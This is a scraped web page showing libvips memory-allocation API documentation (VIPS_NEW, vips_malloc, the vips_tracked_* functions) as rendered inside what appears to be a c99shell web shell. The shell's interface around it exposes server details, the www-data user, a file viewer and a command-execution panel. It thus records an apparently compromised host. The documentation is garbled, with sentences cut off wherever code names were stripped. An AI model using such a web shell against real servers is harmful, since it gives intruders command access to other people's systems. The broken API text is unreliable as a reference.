Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/libvips/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
Functions
DescriptionThese functions cover two main areas. First, some simple utility functions over the underlying
Second, a pair of functions, The tracked functions are only suitable for large allocations internal to the library, for example pixel buffers. libvips watches the total amount of live tracked memory and uses this information to decide when to trim caches. FunctionsVIPS_NEW()#define VIPS_NEW( OBJ, T ) Allocate memory for a thing of type This macro cannot fail. See See also: VIPS_ARRAY()#define VIPS_ARRAY( OBJ, N, T ) Allocate memory for an array of objects of type This macro cannot fail. See See also: vips_malloc ()void * vips_malloc ( g_malloc() local to This function cannot fail. See See also: Parameters
vips_strdup ()char * vips_strdup ( g_strdup() a string. When This function cannot fail. See also: vips_free ()int
vips_free (
Frees memory with See also: vips_tracked_free ()void
vips_tracked_free (
Only use it to free
memory that was previously allocated with See also: vips_tracked_malloc ()void *
vips_tracked_malloc (
Allocate an area of memory that will be tracked by If allocation fails, You must only free the memory returned with See also: vips_tracked_get_mem ()size_t
vips_tracked_get_mem (
Returns the number of bytes currently allocated via vips_tracked_get_mem_highwater ()size_t
vips_tracked_get_mem_highwater (
Returns the largest number of bytes simultaneously allocated via
vips_tracked_get_allocs ()int
vips_tracked_get_allocs (
Returns the number of active allocations. vips_tracked_open ()int vips_tracked_open ( Exactly as open(2), but the number of files current open via
You must only close the file descriptor with
See also: vips_tracked_close ()int
vips_tracked_close (
Exactly as close(2), but update the number of files currently open via
You must only close file descriptors opened with See also: |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]-- |